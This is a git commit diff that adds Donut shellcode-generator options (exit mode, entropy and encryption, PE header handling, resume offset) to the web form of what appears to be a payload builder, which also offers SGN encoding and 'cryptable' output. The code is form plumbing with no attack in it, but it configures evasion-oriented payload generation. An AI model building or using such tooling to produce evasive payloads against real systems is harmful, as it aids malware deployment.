add almost all donut options

This commit is contained in:
KingKDot
2026-07-14 16:30:00 -05:00
parent d75c9b6b4d
commit 51431b637b
6 changed files with 100 additions and 2 deletions
+20
View File
@@ -221,6 +221,11 @@ function collectBuildPluginSettings() {
function setBuildField(field, value) {
const fieldMap = {
useDonut: "#donut-mode",
donutSingleThreaded: "#donut-single-threaded",
donutExitMode: "#donut-exit-mode",
donutEntropy: "#donut-entropy",
donutPreserveHeaders: "#donut-preserve-headers",
donutResumeOffset: "#donut-resume-offset",
useLinuxShellcode: "#linux-shellcode-mode",
shellcodeConsole: "#shellcode-console",
useSgn: "#sgn-mode",
@@ -529,6 +534,11 @@ function collectFormSettings() {
outputExtension: document.getElementById("output-extension")?.value ?? ".exe",
cryptableMode: document.getElementById("cryptable-mode")?.checked ?? false,
useDonut: document.getElementById("donut-mode")?.checked ?? false,
donutSingleThreaded: document.getElementById("donut-single-threaded")?.checked ?? false,
donutExitMode: parseInt(document.getElementById("donut-exit-mode")?.value, 10) || undefined,
donutEntropy: parseInt(document.getElementById("donut-entropy")?.value, 10) || undefined,
donutPreserveHeaders: document.getElementById("donut-preserve-headers")?.checked ?? false,
donutResumeOffset: parseInt(document.getElementById("donut-resume-offset")?.value, 10) || undefined,
useLinuxShellcode: document.getElementById("linux-shellcode-mode")?.checked ?? false,
shellcodeConsole: document.getElementById("shellcode-console")?.checked ?? false,
useSgn: document.getElementById("sgn-mode")?.checked ?? false,
@@ -606,6 +616,11 @@ function applyFormSettings(settings) {
setCb("#donut-mode", settings.useDonut);
if (settings.useDonut) applyDonutMode(true);
}
if (settings.donutSingleThreaded !== undefined) setCb("#donut-single-threaded", settings.donutSingleThreaded);
if (settings.donutExitMode !== undefined) setVal("donut-exit-mode", settings.donutExitMode);
if (settings.donutEntropy !== undefined) setVal("donut-entropy", settings.donutEntropy);
if (settings.donutPreserveHeaders !== undefined) setCb("#donut-preserve-headers", settings.donutPreserveHeaders);
if (settings.donutResumeOffset !== undefined) setVal("donut-resume-offset", settings.donutResumeOffset);
if (settings.useLinuxShellcode !== undefined) {
setCb("#linux-shellcode-mode", settings.useLinuxShellcode);
if (settings.useLinuxShellcode) applyLinuxShellcodeMode(true);
@@ -1815,6 +1830,11 @@ form?.addEventListener("submit", async (e) => {
: undefined,
iosBundleId: platforms.some(p => p.startsWith('ios-')) ? (form.querySelector("#ios-bundle-id")?.value.trim() || undefined) : undefined,
useDonut: document.getElementById("donut-mode")?.checked || false,
donutSingleThreaded: document.getElementById("donut-single-threaded")?.checked || false,
donutExitMode: parseInt(document.getElementById("donut-exit-mode")?.value, 10) || undefined,
donutEntropy: parseInt(document.getElementById("donut-entropy")?.value, 10) || undefined,
donutPreserveHeaders: document.getElementById("donut-preserve-headers")?.checked || false,
donutResumeOffset: parseInt(document.getElementById("donut-resume-offset")?.value, 10) || undefined,
useLinuxShellcode: document.getElementById("linux-shellcode-mode")?.checked || false,
shellcodeConsole: document.getElementById("shellcode-console")?.checked || false,
useSgn: document.getElementById("sgn-mode")?.checked || false,
+35
View File
@@ -696,6 +696,41 @@
<i class="fa-solid fa-terminal text-slate-400"></i>
<span>Show console window — calls <code>AllocConsole()</code> on start (debug builds only)</span>
</label>
<label class="flex items-center gap-2 px-3 py-1.5 rounded bg-slate-800/60 border border-slate-600/40 text-xs text-slate-300 cursor-pointer hover:border-slate-400 transition-colors">
<input type="checkbox" id="donut-single-threaded" name="donut-single-threaded" class="w-3.5 h-3.5" />
<i class="fa-solid fa-sliders text-slate-400"></i>
<span>Single-threaded shellcode (<code>-t</code>) — don't create a new thread to host the payload</span>
</label>
<div class="flex items-center gap-2 px-3 py-1.5 rounded bg-slate-800/60 border border-slate-600/40 text-xs text-slate-300">
<i class="fa-solid fa-right-from-bracket text-slate-400"></i>
<label for="donut-exit-mode" class="shrink-0">Exit mode (<code>-x</code>):</label>
<select id="donut-exit-mode" name="donut-exit-mode" class="bg-slate-700 border border-slate-500 rounded px-1.5 py-0.5 text-xs text-slate-200">
<option value="">Default (exit thread)</option>
<option value="1">1 — Exit thread</option>
<option value="2">2 — Exit process</option>
<option value="3">3 — Don't exit</option>
</select>
</div>
<div class="flex items-center gap-2 px-3 py-1.5 rounded bg-slate-800/60 border border-slate-600/40 text-xs text-slate-300">
<i class="fa-solid fa-dice-d6 text-slate-400"></i>
<label for="donut-entropy" class="shrink-0">Entropy (<code>-e</code>):</label>
<select id="donut-entropy" name="donut-entropy" class="bg-slate-700 border border-slate-500 rounded px-1.5 py-0.5 text-xs text-slate-200">
<option value="">Default (encrypt + randomize)</option>
<option value="1">1 — None</option>
<option value="2">2 — Random names only</option>
<option value="3">3 — Random names + encrypt</option>
</select>
</div>
<label class="flex items-center gap-2 px-3 py-1.5 rounded bg-slate-800/60 border border-slate-600/40 text-xs text-slate-300 cursor-pointer hover:border-slate-400 transition-colors">
<input type="checkbox" id="donut-preserve-headers" name="donut-preserve-headers" class="w-3.5 h-3.5" />
<i class="fa-solid fa-heading text-slate-400"></i>
<span>Preserve PE headers (<code>-k 2</code>) — keep original PE headers instead of overwriting them</span>
</label>
<div class="flex items-center gap-2 px-3 py-1.5 rounded bg-slate-800/60 border border-slate-600/40 text-xs text-slate-300">
<i class="fa-solid fa-rotate-left text-slate-400"></i>
<label for="donut-resume-offset" class="shrink-0">Resume host offset (<code>-y</code>):</label>
<input type="number" id="donut-resume-offset" name="donut-resume-offset" placeholder="file offset" min="1" class="bg-slate-700 border border-slate-500 rounded px-1.5 py-0.5 text-xs text-slate-200 w-24" />
</div>
<div id="donut-nonwin-warn" class="hidden flex items-center gap-2 px-3 py-1.5 rounded bg-yellow-900/30 border border-yellow-600/40 text-xs text-yellow-300">
<i class="fa-solid fa-triangle-exclamation"></i>
<span>Non-Windows targets selected — Donut only applies to Windows builds; other platforms build normally</span>